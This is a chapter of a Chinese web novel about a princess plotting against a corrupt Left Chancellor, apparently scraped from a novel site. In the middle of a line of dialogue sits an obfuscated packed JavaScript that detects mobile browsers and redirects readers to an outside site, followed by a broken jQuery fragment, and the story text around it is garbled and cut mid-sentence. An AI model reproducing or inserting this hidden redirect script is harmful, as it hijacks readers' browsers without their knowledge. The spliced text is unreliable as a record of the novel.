8.第 8 章

作品:《公主篡位时兼职训狗

    高秋堂又道:“朝堂于我甚远,对很多事了解的总不够及时。你多留意朝中事,及时向我汇报。”


    赵赐安点头:“明白了。”


    “嗯。”高秋堂深知不能有劳无德,便又问道:“你有什么想要的?可以和我说,能力范围内,我竭力而为。”


    总依靠别人完全行不通,虽然和瞿简光有些血缘关系,但她这种情况毕竟特殊,不能太信赖其他人。


    如此形式,唯有养自己的亲信才可行。


    青玉温忱算上,但都毕竟是女子,各种情况下都受限,赵赐安……


    高秋堂抬眼看他,赵赐安下颌处的青紫在此刻分外明显,眼睛也发红。


    赵赐安道:“拓晤弃我如尘,甚至秋猎之时欲置我于死地。只愿公主假以时日将我送回拓晤,我自有报仇之法。”


    高秋堂点头,赵赐安是拓晤皇子,哪怕上面有三个兄长从小都未曾作为继承人培养,但在皇族里,怎么可能庸碌?


    她想了想,说:“质子若衷心于我,未来必当得其所愿。”


    赵赐安张了张嘴,还没说什么青玉就火急火燎的跑进来:“公主公主!”


    见赵赐安立在殿前忽而停下脚步:“你怎么在这儿?”


    “不必在意他。”高秋堂说:“出什么事了?”


    青玉瞥了赵赐安一眼:“我方才去问那御书房的太监今日朝堂之事,他说下朝后瞿简光进了和陛下私聊。”


    高秋堂蹙起眉:“他去做什么?”


    “不清楚。”青玉道:“今日御史弹劾左相教子无方,左相被罚了俸禄,照理说过了也就过了……”


    “并未。”赵赐安忽然开口道:“今日御史不仅弹劾左相教子无方,瞿将军也说了左相之前秋猎之事。”


    高秋堂的眉皱得愈深,她对朝堂的把控还是不足,总是打探消息也不是长久之计。


    她愠色道:“早日把温忱推上去,刘承熙留不得。殿试还有多久?”


    青玉答道:“五日之后。”


    高秋堂转眼看向赵赐安:“你的府邸在何处?”


    他国质子本不能涉足朝中,此番只不过是因为和刘承熙发生纠葛的人是他而已,总归是要在朝中发展自己的势力。


    赵赐安回道:“在主街南侧。”


    离明月楼并不算远,高秋堂抿唇,指节无意识轻叩书案:“你时刻注意温忱的情况,有任何异常,随时向我汇报。”


    “明白。”


    “嗯。”高秋堂点头:“你走吧。”


    赵赐安躬身作礼,道了声“告退”便转身出门。


    青玉在一旁露出不解神色,问道:“公主为何这般信任他?”


    高秋堂站起身,稍微活动了一下僵硬的手腕,轻声道:“他作为质子无依无靠,在京中盲目站队都不可行,我救了他,还愿意给他些别人给不了的东西,他为何不信任我?”


    青玉摇了摇头:“我还是不懂……”


    高秋堂浅笑,走到青玉身侧,反问道:“是谁让他沦落到当今的地位,他又最恨谁?”


    青玉一愣,险些脱口而出。


    见她这样子,高秋堂便知道她懂了,又道:“全京城都是皇帝的人,而我却和皇帝对着干,我是唯一能完全偏向他的人,他有何理由不信我?”


    青玉用力点了点头:“明白了!”


    “是了。”高秋堂往殿外走:“不能总在殿里呆着,走吧,去散散步。”


    日头还不算大,已经入了秋却仍还有些热,青玉在一旁摇扇。


    二人沿着大路走,将到御书房门口,就见瞿简光出了门。


    高秋堂与他对上视线。瞿简光躬身作礼:“公主。”


    高秋堂颔首:“堂兄。”


    她状若无意问道:“堂兄为何而来?”


    瞿简光走到她身侧,轻声道:“今日同陛下商议了湖州旱灾一事。”


    他四下观望,声音更轻了:“先前左相负责湖州赈灾。”


    高秋堂点了点头:“可是要道出左相贪污一事?”


    御书房前不好谈轮此事,瞿简光跟着高秋堂往前走,压着声音说:“左相独揽大权,在朝中为虎作伥,早晚要拉其坠马。”


    他身形高挑,一袭白衣更显文人风骨,站在高秋堂左侧挡住烈阳,高秋堂无暇顾及,思索秋猎时他递来的账本。


    “湖州大旱,朝廷拨款放粮,流民数目不减反增,父皇他应当早日生疑才对。”高秋堂目光落在了不远处一棵枫树上:“再添上秋猎宴上拓晤人明目张胆的刺杀……”


    瞿简光点点头,简言意赅:“刘承熙科举舞弊若坐实了,左相必然受其牵连,届时上书觐言便容易许多。”


    “嗯。”一片枫叶落到高秋堂前一步,她没有在意,抬脚踩上,干枯碎裂的声音并不起眼:“劳烦堂兄。”


    瞿简光微微颔首,低声道:“相府内仆乃至京城百姓对刘承熙积怨已深,此番必能述其罪行。”


    高秋堂睨了眼秋湖,随口提道:“置于明月楼的温华英兄长应当有印象,殿试时,刘承熙比不过他。”


    瞿简光点了点头,状若无意:“那位温公子可曾于刘承熙有些许恩怨?”


    “有。尽量不要让刘承熙见他。”高秋堂道。


    瞿简光没多问,他回了声好便说了离开。


    高秋堂也没再往前走,目送他走出小路,身影隐去。


    一阵风吹过来,一片枫叶被风吹过她眼前,又落尽秋湖。


    沉默了一路的青玉忽然问:“瞿公子不知道温忱的身份吗?”


    高秋堂应了声是,嫌太阳照的太热,转头进了亭子,坐在石凳上:“温忱毕竟身份特殊,越少人知道越好。”


    青玉又问:“可瞿公子不也是为了公主吗?为何不能真的温忱身份。”


    高秋堂想了想,斟酌着话语而不显得过分,她说:“他也并非全然为了帮我。篡权夺位太遥远太危险,他想做的无非是左相挡了瞿家的路,而我又想拉下左相,这条路上我们短暂合作罢了。”


    青玉点了点头。她对朝堂总不甚在乎,高秋堂叫她做何便作何,有些事不清楚的倒也没什么关系。


    石桌微凉,高秋堂手掌贴在桌面上消去燥意:“无人全然为他人着想,更何况我与他从来都不熟识。”


    青玉不好答,依着她坐下为她摇扇。


    “青玉。”高秋堂忽而道:“你为何对我如此好?”


    青玉一愣,如实说道:“皇后娘娘在战场上救下我,我这条命便是皇后娘娘的,她叫我跟着公主,那我便全心为公主效力。”


    高秋堂忽而靠在她的肩头,小声说:“温忱于我,也是这般。”


    她看向湖上落叶,情绪极淡:“瞿简光却不同,我与他眼下目标一致,又恰好多了份血缘,于宫内,我便是最好用的。对我而言,明月楼也是极好的助力,所以我与他的合作便开始了。”


    青玉懂了,张了张嘴什么也没说。


    “有些饿了,我们回宫吧。”高秋堂站起身理了理自己的衣摆:“你有什么想吃的告诉御膳房便是了。”


    青玉跟在她身后,闻言笑道:“公主跟着我吃吗?我如此大的福分!”


    高秋堂牵起她的手:“犒劳你。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938785|192757||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ”


    又吹来一阵风,枫叶被吹掉好几片,落在地上或湖中,无人搭理。


    **


    殿试已过,榜上名次传到高秋堂耳旁的时候,青玉还在喋喋不休:“瞿公子不是说要拉下刘承熙吗?为何榜上仍有名次?”


    青玉冷哼一声,不满之意甚然:“还是探花,他那样子也好意思当探花?!”


    “急什么?”高秋堂独自下棋,淡然落下一子:“殿试上太过显眼太过瞩目,贸然出手,左相纵横朝野也并非虚名。”


    青玉鼓起嘴,道理她都明白,却总是咽不下这口气。


    高秋堂落下最后一子,结束了棋局。她站起身,轻声道:“我向父皇说了今日出宫,你随我一起去转转吧。”


    青玉跟在高秋堂身后,穿过重重宫门出了皇宫。


    她们没坐轿子身上也没穿什么华贵的服饰,除了高秋堂的长相格外出众,引于人群之中也只不过是一位貌美的小姐和婢女出行。


    因着科举放榜,皇城内大多是谈论这件事的,街边店铺坐满了人,你一句我一句,伴着酒肉,充满了烟火气。


    青玉跟在高秋堂身后,她以往出宫都是趁着傍晚人少不起眼时偷偷溜走,这般热闹倒不多见,东张西望,对什么都好奇。


    高秋堂步履不停,拐进了一家茶室。


    茶室内人声喧哗,她们挑了个角落相对安静的地方坐下。


    “小儿,这边上些茶点。”青玉喊道。


    待到小二上了茶后,青玉这才又开口:“要喝茶为何不去明月楼?这随街小铺能有什么好喝的?”


    高秋堂端起茶杯,那上面还开了个豁口。她没着急喝,接着氤氲雾气观察周边的客人。


    青玉见状也噤了声,不远处一桌客人的声音传了过来:“……这状元的《清河赋》文采斐然,我这番,输的不冤。”


    “那可是,温状元的才华可是有目共睹的,先前会试他便是榜首。”


    青玉听罢往嘴里塞了块糕点,嘴角压不住的笑颇有种小人得志的感觉。


    “时榜眼的文作也甚好啊!我拜读过他的《藏春》真真切切是文曲星下凡之才啊……”


    “对!时榜眼家在文乡郡,千里迢迢来到京城参加科举,拿了榜眼,也算是光耀门楣了!”


    “那探花呢?左相之子刘探花如何?”


    听人这么问,青玉也竖起耳朵去听。


    果真,那身穿粗布麻衣的书生把茶杯往桌上重重一撂,话里话外都是些暗示:“他那文采暂且不提……只当他整日游手好闲寻花问柳,活脱脱一个衣冠禽兽,你当他能考得探花,还是信我是文曲星?”


    “唉去去去……”一旁的同般拍了他一下,夸张道:“可不敢乱说啊。”


    他们的声音放小,青玉听不见了,小声义愤填膺道:“我就知道刘承熙那般肯定德不配位,这不,大家都不服他!”


    高秋堂点了点头,给青玉倒了杯茶:“有些东西明月楼听不见,在市井却可以。”


    青玉跟着点了点头,竖起耳朵去听别人谈论。


    “公主。”忽然有人站在她们桌旁,怯生生的问好:“草民见过公主。”


    他的声音不大,在这里也没有人过多注意,高秋堂转头看他,是一个完全陌生的人。


    她问道:“你是谁?”


    男人身穿粗布,长得浓眉大眼,一副朴实样子,恭恭敬敬答道:“草民时宁,蒙陛下恩赐,在此次科举上登榜眼之名。”


    高秋堂皱起眉,她于这位时榜眼并未有过多接触,他是如何认出自己的?


    “嗯,坐吧。”